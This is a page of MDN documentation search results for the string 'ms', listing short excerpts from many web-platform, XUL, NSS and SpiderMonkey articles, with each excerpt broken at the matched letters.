ms-filter:contrast(200%); filter:contrast(200%); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0px; margin: 0px 0px 1.286em; width: 85%; height: 100%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-wei...
...And 8 more matches
Microdata - HTML: Hypertext Markup Language
the groups are called ite
ms, and each name-value pair is a property.
... ite
ms and properties are represented by regular elements.
... to create an item, the ite
mscope attribute is used.
...And 8 more matches
Functions - JavaScript
a function in javascript is similar to a procedure—a set of statements that perfor
ms a task or calculates a value, but for a procedure to qualify as a function, it should take some input and return an output where there is some obvious relationship between the input and the output.
... calling the function actually perfor
ms the specified actions with the indicated parameters.
... it turns out that functions are the
mselves objects—and in turn, these objects have methods.
...And 8 more matches
util/collection - Archive of obsolete content
usage a collection is ordered, like an array, but its ite
ms are unique, like a set.
...setting it to an array empties the collection and adds all the ite
ms in the array.
...ite
ms are yielded in the order they were added.
...And 7 more matches
The Essentials of an Extension - Archive of obsolete content
we'll discuss both of these storage syste
ms further ahead in the tutorial.
...unix-based syste
ms have a command line tool called uuidgen that generates uuids.
... there are also downloadable tools for all platfor
ms that generate them.
...And 7 more matches
A XUL Bestiary - Archive of obsolete content
this xulnote presents some of the key concepts and ter
ms in the xul development environment.
... the purpose of this article is not to describe these ite
ms in any great detail but to define what they are in simple ter
ms.
... i selected ite
ms for this group because they seemed to be either shrouded in mystery, misused as concepts or ter
ms, or underestimated according to their role in xul and cross-platform development.
...And 7 more matches
Special per-platform menu considerations - Archive of obsolete content
for many menu commands, convention dictates where these ite
ms will be placed.
... some menu ite
ms have specific common labels or locations where certain menu ite
ms would go that differ on each platform.
...this menu contains a number of ite
ms that pertain to the application.
...And 7 more matches
Using Remote XUL - Archive of obsolete content
the categorized links are analogous to menu ite
ms organized into menus, where clicking the link/selecting the menu item perfor
ms some function, so we'll use xul menu elements to implement them in our document.
... source | rendered step 4: menu ite
ms menus aren't terribly useful unless they contain selectable ite
ms.
... to add ite
ms to a menu, we need to first add a menupopup element and then put menuitem elements within it for each item we want to appear on the menu.
...And 7 more matches
XUL accessibility guidelines - Archive of obsolete content
you should be able to perform all functionality either directly in the application or through menu ite
ms or the context menu.
...the column picker and column headers in xul trees are not keyboard accessible, consistent with the standard tree behavior on most contemporary operating syste
ms.
...consider using context menu ite
ms or other xul elements along with keyboard shortcuts.
...And 7 more matches
toolbar - Archive of obsolete content
note: starting in gecko 1.9.1, toolbar ite
ms are moved from the toolbarpalette and added to the toolbar when a toolbar is first displayed.
...this means that the palette now only contains ite
ms not already in the toolbar.
... this introduces a potential compatibility problem for extensions that depend on being able to identify all possible toolbar ite
ms by looking in the toolbarpalette.
...And 7 more matches
tree - Archive of obsolete content
however, the treeite
ms are not displayed directly; they are used only as data to the content view.
... however, the content view will automatically update the tree if treeite
ms are changed.
...dom treeite
ms are not created.
...And 7 more matches
Advanced text formatting - Learn web development
the purpose of these lists is to mark up a set of ite
ms and their associated descriptions, such as ter
ms and definitions, or questions and answers.
... let's look at an example of a set of ter
ms and definitions: soliloquy in drama, where a character speaks to the
mselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.) monologue in drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
...let's finish marking up our example: <dl> <dt>soliloquy</dt> <dd>in drama, where a character speaks to the
mselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)</dd> <dt>monologue</dt> <dd>in drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.</dd> <dt>aside</dt> <dd>in drama, where a character shares a comment only with the audience for humorous o...
...And 7 more matches
Getting started with HTML - Learn web development
to get you started, this article defines elements, attributes, and all the other important ter
ms you may have heard.
...this article will stay with these two ter
ms.
... note: the ter
ms block and inline, as used in this article, should not be confused with the types of css boxes that have the same names.
...And 7 more matches
HTML parser threading
normal (non-speculative) parsing initially, dodataavailable perfor
ms character encoding sniffing on the data if an encoding wasn't declared on the enclosing protocol (http) level.
...(aside: it would make more sense to make the parser deal with nsstringbuffers directly without having heap-allocated nsstrings involved.) element names, attribute names and the doctype name are represented as nsiato
ms.
... pre-interned attribute and element names hold ato
ms that are actually app-wide nsstaticato
ms.
...And 7 more matches
CustomizableUI.jsm
the customizableui.jsm javascript code module allows you to interact with customizable buttons and ite
ms in firefox's main window ui.
... widgets widget is the term that customizableui uses for each of the ite
ms in a customizable area.
...these come in 3 types the
mselves: button which are simple toolbar buttons which do something when clicked view which are toolbar buttons with a 'view' of further options.
...And 7 more matches
PKCS11 FAQ
what are the expectations in ter
ms of session manipulation?
...not doing so is a common source of proble
ms.
...in the past, nss uses the invalid session handle to mark proble
ms with acquiring or using a session.
...And 7 more matches
S/MIME functions
function name/documentation source code nss versions nss_c
mscontentinfo_getbulkkey mxr 3.2 and later nss_c
mscontentinfo_getbulkkeysize mxr 3.2 and later nss_c
mscontentinfo_getcontent mxr 3.2 and later nss_c
mscontentinfo_getcontentencalgtag mxr 3.2 and later nss_c
mscontentinfo_getcontenttypetag mxr 3.2 and later nss_c
ms...
...contentinfo_setbulkkey mxr 3.2 and later nss_c
mscontentinfo_setcontent mxr 3.2 and later nss_c
mscontentinfo_setcontent_data mxr 3.2 and later nss_c
mscontentinfo_setcontentencalg mxr 3.2 and later nss_c
mscontentinfo_setcontent_digesteddata mxr 3.2 and later nss_c
mscontentinfo_setcontent_encrypteddata mxr 3.2 and later nss_c
mscontentinfo_setcontent_envelopeddata mxr 3.2 and later nss_c
mscontentinfo_setcontent_signeddata mxr 3.2 and later nss_c
msdecoder_cancel mxr 3.2 and later nss_c
msdecoder_finish mxr 3.2 and later ns...
...s_c
msdecoder_start mxr 3.2 and later nss_c
msdecoder_update mxr 3.2 and later nss_c
msdigestcontext_cancel mxr 3.2 and later nss_c
msdigestcontext_finishmultiple mxr 3.2 and later nss_c
msdigestcontext_finishsingle mxr 3.2 and later nss_c
msdigestcontext_startmultiple mxr 3.2 and later nss_c
msdigestcontext_startsingle mxr 3.2 and later nss_c
msdigestcontext_update mxr 3.2 and later nss_c
msdigesteddata_create mxr 3.2 and later nss_c
msdigesteddata_destroy mxr 3.2 and later nss_c
msdigesteddata_getcontentinfo mxr 3...
...And 7 more matches
SpiderMonkey Build Documentation
mkdir build_opt.obj cd build_opt.obj /bin/sh ../configure.in # use "mozmake" on windows make a few notes about this: the most common build proble
ms are dependency proble
ms.
... this can help debug memory leaks and other memory-related proble
ms.
... to generate a compile_commands.json with the spidermonkey configure script, enable the compiledb backend, like this: /bin/sh ../configure.in <options> --enable-build-backends=compiledb,recursivemake (recursivemake is there as you'd likely also want to be able to build!) windows builds since version 28, threadsafe builds are the default, and should work out of the box on all posix platfor
ms.
...And 7 more matches
64-bit Compatibility
the following types or typedefs are always 64-bit on 64-bit platfor
ms, and 32-bit on 32-bit platfor
ms: pointers uintptr_t, intptr_t, ptrdiff_t, (probably) size_t jsval jsuword, jsword length of a string, though the actual length cannot exceed 30 bits jsuintptr, jsintptr, jsptrdiff, jsuptrdiff, jssize, jsuword, jsword (let's not use these, kthx) the following types are 32-bit on 32-bit platfor
ms.
... for all intents and purposes they are also 32-bit on 64-bit platfor
ms: intn, uintn jsintn, jsuintn, jsbool general proble
ms with pointers when performing bitwise operations on pointer values, make sure that both operands are 64-bit.
...builtins and calls when passing arguments to lirwriter::inscall(), there are four types: argsize_f - floating point value argsize_i - 32-bit integer argsize_q - 64-bit integer argsize_p - 32-bit integer on 32-bit platfor
ms, 64-bit integer on 64-bit platfor
ms.
...And 7 more matches
JSAPI User Guide
these progra
ms can execute javascript code from c++ using the spidermonkey api.
... note: the foss wiki page contains a few links to other libraries and progra
ms that can make life easier when using spidermonkey and jsapi.
... some syste
ms (such as debian) provide spidermonkey as a prebuilt package.
...And 7 more matches
Web Replay
instead of communicating via ipc with a compositor in the ui process, there is a compositor in the recording process itself which perfor
ms the rendering.
... the recorded data strea
ms which specify the acquisition order for each lock are read from and used so that locks are acquired in the same order.
... recording/replaying process extensions during initialization the child process spawns a thread that does not participate in the recording — any ipc or other system calls it perfor
ms are live, even when replaying.
...And 7 more matches
Querying Places
e_relative_today = 1 const unsigned long time_relative_now = 2 attribute prtime begintime attribute unsigned long begintimereference readonly attribute boolean hasbegintime readonly attribute prtime absolutebegintime attribute prtime endtime attribute unsigned long endtimereference readonly attribute boolean hasendtime readonly attribute prtime absoluteendtime attribute astring searchter
ms readonly attribute boolean hassearchter
ms attribute long minvisits attribute long maxvisits attribute boolean onlybookmarked attribute boolean domainishost attribute autf8string domain readonly attribute boolean hasdomain attribute boolean uriisprefix attribute nsiuri uri readonly attribute boolean hasuri attribute boolean annotationisnot attribute autf8string annotation readonly att...
...annotation_ascending = 15 const unsigned short sort_by_annotation_descending = 16 const unsigned short results_as_uri = 0 const unsigned short results_as_visit = 1 const unsigned short results_as_full_visit = 2 (not yet implemented -- see bug 320831) attribute unsigned short sortingmode attribute autf8string sortingannotation attribute unsigned short resulttype attribute boolean excludeite
ms attribute boolean excludequeries attribute boolean excludereadonlyfolders attribute boolean expandqueries attribute boolean includehidden attribute boolean showsessions attribute unsigned long maxresults const unsigned short query_type_history = 0 const unsigned short query_type_bookmarks = 1 const unsigned short query_type_unified = 2 (not yet implemented -- see bug 378798) attribute u...
... // first query object searches for "firefox" in title/url var query1 = placesutils.history.getnewquery(); query1.searchter
ms = "firefox"; // second query object searches for visited in past 24 hours and from mozilla.org var query2 = placesutils.history.getnewquery(); query2.begintimereference = query2.time_relative_now; query2.begintime = -24 * 60 * 60 * 1000000; // 24 hours ago in microseconds query2.endtimereference = query2.time_relative_now; query2.endtime = 0; // now query2.domain = "mozilla.org"; var result = p...
...And 7 more matches
inIDOMUtils
inherits from: nsisupports last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/inspector/dom-utils;1 as a service: var inidomutils = components.classes["@mozilla.org/inspector/dom-utils;1"] .getservice(components.interfaces.inidomutils); method overview void addpseudoclasslock(in nsidomelement aelement, in do
mstring apseudoclass); void clearpseudoclasslocks(in nsidomelement aelement); [implicit_jscontext] jsval colornametorgb(in do
mstring acolorname); nsiarray getbindingurls(in nsidomelement aelement); nsidomnodelist getchildrenfornode(in nsidomnode anode, in boolean ashowinganonymouscontent); unsigned long long getcontentstate(in nsidomelement aelement); ...
... void getcsspropertynames([optional] in unsigned long aflags, [optional] out unsigned long acount, [retval, array, size_is(acount)] out wstring aprops); nsisupportsarray getcssstylerules(in nsidomelement aelement, [optional] in do
mstring apseudo); nsidomnode getparentfornode(in nsidomnode anode, in boolean ashowinganonymouscontent); unsigned long getruleline(in nsidomcssstylerule arule); unsigned long getrulecolumn(in nsidomcssstylerule arule); unsigned long getselectorcount(in nsidomcssstylerule arule); astring getselectortext(in nsidomcssstylerule arule, in unsigned long aselectorindex); unsigned long long getspecificity(in nsidomcssstylerule arule, in unsigned long aselectorindex); nsidomfontfacelist getusedfon...
...tfaces(in nsidomrange arange); bool haspseudoclasslock(in nsidomelement aelement, in do
mstring apseudoclass); boolean isignorablewhitespace(in nsidomcharacterdata adatanode); bool isinheritedproperty(in astring apropertyname); void parsestylesheet(in nsidomcssstylesheet asheet, in do
mstring ainput); void removepseudoclasslock(in nsidomelement aelement, in do
mstring apseudoclass); astring rgbtocolorname(in octet ar, in octet ag, in octet ab); bool selectormatcheselement(in nsidomelement aelement, in nsidomcssstylerule arule, in unsigned long aselectorindex, [optional] in do
mstring apseudo); void setcontentstate(in nsidomelement aelement, in unsigned long long astate); constants constant value desc...
...And 7 more matches
nsIDOMGeoPositionAddress
attributes attribute type description city do
mstring the city.
... country do
mstring the country.
... countrycode obsolete since gecko 11 do
mstring removed in firefox 11, since it isn't defined in the specification; use country instead.
...And 7 more matches
nsIDOMWindow
in gecko 8.0 nsido
mstoragewindow and nsidomwindowinternal have been merged into this interface.
... method overview nsidomcssstyledeclaration getcomputedstyle(in nsidomelement elt, [optional] in do
mstring pseudoelt); nsiselection getselection(); void scrollby(in long xscrolldif, in long yscrolldif); void scrollbylines(in long numlines); void scrollbypages(in long numpages); void scrollto(in long xscroll, in long yscroll); void sizetocontent(); attributes attribute type description applicationcache nsidomofflineresourcelist get the application cache object for this window.
... globalstorage nsido
mstoragelist global storage, accessible by domain.
...And 7 more matches
nsIHTMLEditor
tdent); void getinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue, out boolean afirst, out boolean aany, out boolean aall); astring getinlinepropertywithattrvalue(in nsiatom aproperty, in astring aattribute, in astring avalue, out boolean afirst, out boolean aany, out boolean aall); nsisupportsarray getlinkedobjects(); void getlistite
mstate(out boolean amixed, out boolean ali, out boolean adt, out boolean add); void getliststate(out boolean amixed, out boolean aol, out boolean aul, out boolean adl); astring getparagraphstate(out boolean amixed); nsidomelement getselectedelement(in astring atagname); nsidomelement getselectioncontainer(); void ignorespuriousdragevent(in boolean aignore...
...an adeleteselection); void insertlinkaroundselection(in nsidomelement aanchorelement); boolean isanonymouselement(in nsidomelement aelement); void makeorchangelist(in astring alisttype, in boolean entirelist, in astring abullettype); boolean nodeisblock(in nsidomnode node); void pastenoformatting(in long aselectiontype); void rebuilddocumentfro
msource(in astring asourcestring); void removealldefaultproperties(); void removeallinlineproperties(); void removedefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void removeinlineproperty(in nsiatom aproperty, in astring aattribute); void removeinsertionlistener(in nsicontentfilter infilter); void removelist(in a...
... getlistite
mstate() getlistite
mstate returns what list item type is in the selection.
...And 7 more matches
nsINavHistoryQueryOptions
excludeitemifparenthasannotation obsolete since gecko 13.0 autf8string this option excludes ite
ms from a bookmarks query if the parent of the item has this annotation.
... an example is to exclude livemark ite
ms (parent folders have the "livemark/feeduri" annotation).
... excludeite
ms boolean this option excludes all uris and separators from a bookmarks query.
...And 7 more matches
Mail and RDF
overview of mail rdf graph the root resource for all accounts, folders and messages is the rdf resource named
msgaccounts:/.
...
msgaccounts:/ +-- http://home.netscape.com/nc-rdf#child --> | imap://alecf@imap.mywork.com | +-- http://home.netscape.com/nc-rdf#isserver --> "true" | +-- http://home.netscape.com/nc-rdf#child --> | imap://alecf@imap.mywork.com/inbox | +-- http://home.netscape.com/nc-rdf#totalmessages --> "4" | +-- http://home.netscape.com/nc-rdf#isserver --> "false" | +-- http://home.netscape.com/nc-rdf#messagechi...
... datasources we have a few primary datasources used in mail: ns
msgaccountdatasource - answers queries about arcs coming out of
msgaccounts:/.
...And 7 more matches
BasicCardResponse - Web APIs
examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as ite
ms bought and shipping options), and an optional object containing further options.
... var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'], supportedtypes: ['credit', 'debit'] } }]; var details = { total: {label: 'donation', amount: {currency: 'usd', value: '65.00'}}, displayite
ms: [ { label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbasiccardresponsechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the d...
...And 7 more matches
ByteLengthQueuingStrategy - Web APIs
the bytelengthqueuingstrategy interface of the the strea
ms api provides a built-in byte length queuing strategy that can be used when constructing strea
ms.
... }, cancel(err) { console.log("stream error:", err); } }, queueingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment strea
msthe definition of 'bytelengthqueuingstrategy' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbytelengthqueuingstrategy experimentalchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled from version 57: this feature is behind the dom.strea
ms.enable...
...And 7 more matches
CountQueuingStrategy - Web APIs
the countqueuingstrategy interface of the the strea
ms api provides a built-in chunk counting queuing strategy that can be used when constructing strea
ms.
... }, abort(err) { console.log("sink error:", err); } }, queueingstrategy); var size = queueingstrategy.size(); specifications specification status comment strea
msthe definition of 'countqueuingstrategy' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcountqueuingstrategy experimentalchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled from version 57: this feature is behind the dom.strea
ms.enabled pre...
...And 7 more matches
HTMLButtonElement - Web APIs
htmlbuttonelement.accesskey is a do
mstring indicating the single-character keyboard key to give access to the button.
... htmlbuttonelement.formaction is a do
mstring reflecting the uri of a resource that processes information submitted by the button.
... htmlbuttonelement.formenctype is a do
mstring reflecting the type of content that is used to submit the form to the server.
...And 7 more matches
IDBDatabaseSync - Web APIs
method overview idbobjectstoresync createobjectstore (in do
mstring name, in do
mstring keypath, in optional boolean autoincrement) raises (idbdatabaseexception); idbobjectstoresync openobjectstore (in do
mstring name, in optional unsigned short mode) raises (idbdatabaseexception); void removeobjectstore (in do
mstring storename) raises (idbdatabaseexception); void setversion (in do
mstring version); idbtransactionsync transa...
...ction (in optional do
mstringlist storenames, in optional unsigned int timeout) raises (idbdatabaseexception); attributes attribute type description description readonly do
mstring the human-readable description of the connected database.
... name readonly do
mstring the name of the connected database.
...And 7 more matches
Media Source API - Web APIs
the media source api, formally known as media source extensions (
mse), provides functionality enabling plugin-free web-based streaming media.
... using
mse, media strea
ms can be created via javascript, and played using <audio> and <video> elements.
...streaming media has up until recently been the domain of flash, with technologies like flash media server serving video strea
ms using the rtmp protocol.
...And 7 more matches
PasswordCredential - Web APIs
passwordcredential.additionaldata secure context one of a formdata instance, a urlsearchpara
ms instance, or null.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpasswordcredential experimentalchrome full support 51edge full support ≤79firefox ?
... sa
msung internet android full support 5.0passwordcredential() constructor non-standardchrome full support 51edge full support ≤79firefox ?
...And 7 more matches
SVGTransformList - Web APIs
gtransform newitem, in unsigned long index) svgtransform replaceitem(in svgtransform newitem, in unsigned long index) svgtransform removeitem(in unsigned long index) svgtransform appenditem(in svgtransform newitem) svgtransform createsvgtransformfrommatrix(in svgmatrix) svgtransform consolidate() properties readonly unsigned long numberofite
ms readonly unsigned long length normative document svg 1.1 (2nd edition) properties name type description numberofite
ms unsigned long the number of ite
ms in the list.
... length unsigned long the number of ite
ms in the list.
... methods name & arguments return description clear() void clears all existing current ite
ms from the list, with the result being an empty list.
...And 7 more matches
WorkerLocation - Web APIs
urlutilsreadonly.href read only is a stringifier that returns a do
mstring containing the whole url of the script executed in the worker.
... urlutilsreadonly.protocol read only is a do
mstring containing the protocol scheme of the url of the script executed in the worker, including the final ':'.
... urlutilsreadonly.host read only is a do
mstring containing the host, that is the hostname, a ':', and the port of the url of the script executed in the worker.
...And 7 more matches
WritableStream - Web APIs
the writablestream interface of the the strea
ms api provides a standard abstraction for writing streaming data to a destination, known as a sink.
...finally, write() and close() return promises that are processed to deal with success or failure of chunks and strea
ms.
... specifications specification status comment strea
msthe definition of 'writablestream' in that specification.
...And 7 more matches
Web accessibility for seizures and physical reactions - Accessibility
intense strobe lights like visual fire alar
ms.
... additional concerns exist for individuals with motor-skills proble
ms.
...for trace research & development center’s photosensitive epilepsy analysis tool notes that “photosensitive seizures can be provoked by certain types of flashing in web or computer content, including mouse-overs that cause large areas of the screen to rapidly flash on and off repeatedly.” other physical reactions nausea, vertigo (or dizziness), and disorientation are very nonspecific sympto
ms associated with all kinds of diseases and not particularly suggestive of seizures (except maybe disorientation, which is seen in seizures).
...And 7 more matches
@font-feature-values - CSS: Cascading Style Sheets
formal syntax @font-feature-values <family-name># { <feature-value-block-list> }where <family-name> = <string> | <custom-ident>+<feature-value-block-list> = <feature-value-block>+where <feature-value-block> = <feature-type> '{' <feature-value-declaration-list> '}'where <feature-type> = @stylistic | @historical-for
ms | @styleset | @character-variant | @swash | @ornaments | @annotation<feature-value-declaration-list> = <feature-value-declaration>where <feature-value-declaration> = <custom-ident>: <integer>+; examples using @styleset in a @font-feature-values rule /* at-rule for "nice-style" in font one */ @font-feature-values font one { @styleset { nice-style: 12; } } /* at-rule for "nice-style" in...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet@font-feature-valueschrome no support noedge no support nofirefox full support 34 full support 34 full support 24disabled disabled from version 24: this feature is...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 9.3sa
msung internet android no support no@annotationchrome no support noedge no support nofirefox full support 34 full support 34 full support ...
...And 7 more matches
Subgrid - CSS: Cascading Style Sheets
introduction to subgrid when you add display: grid to a grid container, only the direct children become grid ite
ms and can then be placed on the grid that you have created.
... the children of these ite
ms display in normal flow.
...this makes it difficult to line nested grid ite
ms up with the main grid.
...And 7 more matches
break-after - CSS: Cascading Style Sheets
support in multi-column layout desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsupported in multi-column layoutchrome full support 50edge full support 12firefox no support noie full support 10opera full support 37 full support...
... android full support 50firefox android no support noopera android full support 37 full support 37 no support 11.1 — 12.1safari ios no support nosa
msung internet android full support 5.0alwayschrome no support noedge no support nofirefox no support noie no support noopera no support ...
...port nowebview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support noavoid-columnchrome no support noedge no support 12 — 79firefox no support noie no support noopera no support nosa...
...And 7 more matches
break-before - CSS: Cascading Style Sheets
support in multi-column layout desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsupported in multi-column layoutchrome full support 50edge full support 12firefox full support 65ie full support 10opera full support 37 full suppo...
...ndroid full support 50firefox android full support 65opera android full support 37 full support 37 no support 11.1 — 12.1safari ios no support nosa
msung internet android full support 5.0always experimentalchrome no support noedge no support nofirefox no support noie no support noopera no support ...
...port nowebview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosa
msung internet android no support noavoid-columnchrome no support noedge no support 12 — 79firefox no support noie full support 10opera no support no...
...And 7 more matches
place-self - CSS: Cascading Style Sheets
end normal; place-self: flex-start auto; place-self: flex-end normal; place-self: left auto; place-self: right normal; /* baseline alignment */ place-self: baseline normal; place-self: first baseline auto; place-self: last baseline normal; place-self: stretch auto; /* global values */ place-self: inherit; place-self: initial; place-self: unset; values auto computes to the parent's align-ite
ms value.
... for flex ite
ms, the keyword behaves as stretch.
... for grid ite
ms, this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start.
...And 7 more matches
Audio and Video Delivery - Developer guides
we can deliver audio and video on the web in a number of ways, ranging from 'static' media files to adaptive live strea
ms.
... this article is intended as a starting point for exploring the various delivery mechanis
ms of web based media and compatibility with popular browsers.
... the audio and video elements whether we are dealing with pre-recorded audio files or live strea
ms, the mechanism for making them available through the browser's <audio> and <video> elements remains pretty much the same.
...And 7 more matches
<keygen> - HTML: Hypertext Markup Language
this mechanism is designed for use with web-based certificate management syste
ms.
... the element is written as follows: <keygen name="name" challenge="challenge string" keytype="type" keypara
ms="pqg-para
ms"> the keytype parameter is used to specify what type of key is to be generated.
...the keypara
ms attribute is required for dsa and ec key generation and ignored for rsa key generation.
...And 7 more matches
HTML elements reference - HTML: Hypertext Markup Language
the element encloses a list of groups of ter
ms (specified using the <dt> element) and descriptions (provided by <dd> elements).
... <ol> the html <ol> element represents an ordered list of ite
ms — typically rendered as a numbered list.
... <ul> the html <ul> element represents an unordered list of ite
ms, typically rendered as a bulleted list.
...And 7 more matches
Performance fundamentals - Web Performance
the remainder of this document will discuss performance in ter
ms of these metrics.
...this is done by avoiding intermediate surfaces where they would create overhead (such as per-application "back buffers" in many other operating syste
ms), and by using special memory for graphics buffers that can be directly accessed by the compositor hardware.
...many years of improvements targeting this content, like parallel html parsing, intelligent scheduling of reflows and image decoding, clever layout algorith
ms, etc., translate just as well to improving web applications on firefox.
...And 7 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
one approach to this is to create different versions of your site/app for different platfor
ms or browsers and serve them appropriately after detecting which browser or platform is looking at your site.
...you don't get caught in the situation of having to bring out more new site versions as more new browsers and platfor
ms come out, and adjust code as feature support in existing browsers changes.
... fluid grids the best place to start is with fluid measurements for our application layout — essentially, this means using a combination of percentages and e
ms/re
ms to size your containers and text, not fixed widths such as pixels.
...And 7 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
if you are creating elements that can grow using the flex attribute, you can also set minimu
ms and maximu
ms using minwidth, minheight, maxwidth, and maxheight.
...you would use this to set a hidden or absent state, for example ite
ms that aren't displayed in contextual menus.
...use the menuseparator element to insert a separator bar that groups ite
ms together.
...And 6 more matches
Index of archived content - Archive of obsolete content
content/content content/loader content/mod content/symbiont content/worker core/heritage core/namespace core/promise dev/panel event/core event/target frame/hidden-frame frame/utils fs/path io/byte-strea
ms io/file io/text-strea
ms lang/functional lang/type loader/cuddlefish loader/sandbox net/url net/xhr places/bookmarks places/favicon places/history platform/xpcom preferences/event-target preferences/servi...
... bookmarks boxes canvas code snippets cookies customizing the download progress bar delayed execution dialogs and prompts downloading files drag & drop embedding svg examples and demos from articles file i/o finding window handles for
ms related code snippets html in xul for rich tooltips html to dom isdefaultnamespace js xpcom javascript debugger service javascript timers javascript daemons management label and description lookupnamespaceuri lookupprefix ...
... new security model for web services new skin notes overview of how downloads work plug-n-hack plug-n-hack get involved plug-n-hack phase1 plug-n-hack phase2 plug-n-hack tools supported plugin architecture porting nspr to unix platfor
ms priority content prism blogposts build bundlelibrary bundles configuration extensions faq hostwindow installer scripting styling proxy ui pydom rdf api rdf data...
...And 6 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
you can create applications using our framework that either have a native look and feel for each os, or one which is identical on macs, pc's or unix operating syste
ms.
...customized xul applications with significant business logic can be written once, and used on the range of platfor
ms that exist within the organization.
... the gecko rendering engine gecko is the revolutionary rendering engine that offers advanced features for internet browsing anywhere across applications, computing platfor
ms and devices.
...And 6 more matches
Running Tamarin acceptance tests - Archive of obsolete content
running the tamarin test suite requires the following steps: set the avm environment variable to the path of the avmplus executable (av
mshell).
... note: the name of the av
mshell executable varies among the build syste
ms; use the name of the avm shell produced from the build process you used, above.
... $ cd tamarin-redux/test/acceptance $ export asc=/users/build/hg/tamarin-redux/utils/asc.jar $ export builtinabc=/users/build/hg/tamarin-redux/generated/builtin.abc $ export shellabc=/users/build/hg/tamarin-redux/generated/shell_toplevel.abc $ export avm=/users/build/hg/tamarin-redux/objdir-release/shell/av
mshell $ python runtests.py tamarin tests started: 2010-09-28 10:37:06.410676 current configuration: x64-mac-tvm-release avm version: 5260:6d1899261bac executing 2532 tests against vm: /users/build/hg/builds/5260-6d1899261bac/mac/av
mshell_64 2532 running abcasm/abs_helper.as skipping...
...And 6 more matches
Running Tamarin performance tests - Archive of obsolete content
running the performance tests requires the following steps: set the avm environment variable to the path of the av
mshell executable.
...(optional) you may compare the performance of the av
mshell to another av
mshell.
... for example you may download or build the latest checked in av
mshell to compare against a local change.
...And 6 more matches
MenuModification - Archive of obsolete content
modifying a menu menus have a number of methods which may be used to add and remove ite
ms.
... adding ite
ms to a menu the appenditem method may be used to append a new item to the end of the popup associated with a menu.
...the label is set appropriately, and now, as we have a menu, we can use the appenditem method to append two ite
ms to the submenu.
...And 6 more matches
Manipulating Lists - Archive of obsolete content
list manipulation the listbox element provides numerous methods to retrieve and manipulate its ite
ms.
...for example the selectedite
ms property holds a list of the ite
ms that are selected, while the selectedcount property holds the number of ite
ms selected.
...be careful when iterating over the selected ite
ms; if you modify the ite
ms in the list while iterating, the list will change and the selection properties may return different values.
...And 6 more matches
menulist - Archive of obsolete content
le, focused, image, label, oncommand, open, preference, readonly, sizetopopup, tabindex, value properties accessibletype, crop, description, disableautoselect, disabled, editable, editor, image, inputfield, itemcount, label, menuboxobject, menupopup, open, selectedindex, selecteditem, tabindex, value methods appenditem, contains, getindexofitem, getitematindex, insertitemat, removeallite
ms, removeitemat, select examples <menulist> <menupopup> <menuitem label="option 1" value="1"/> <menuitem label="option 2" value="2"/> <menuitem label="option 3" value="3"/> <menuitem label="option 4" value="4"/> </menupopup> </menulist> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...if the text does not match any of the ite
ms in the list, the menu selection is cleared.
... visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
...And 6 more matches
Introduction to SSL - Archive of obsolete content
allow the client and server to select the cryptographic algorith
ms, or ciphers, that they both support.
... for more information about the handshake process, see "the ssl handshake." ciphers used with ssl the ssl protocol supports the use of a variety of different cryptographic algorith
ms, or ciphers, for use in operations such as authenticating the server and client to each other, transmitting certificates, and establishing session keys.
... key-exchange algorith
ms like kea and rsa key exchange govern the way in which the server and client determine the symmetric keys they will both use during an ssl session.
...And 6 more matches
Tamarin Tracing Build Documentation - Archive of obsolete content
for instructions on tamarin central, please see tamarin build documentation supported platfor
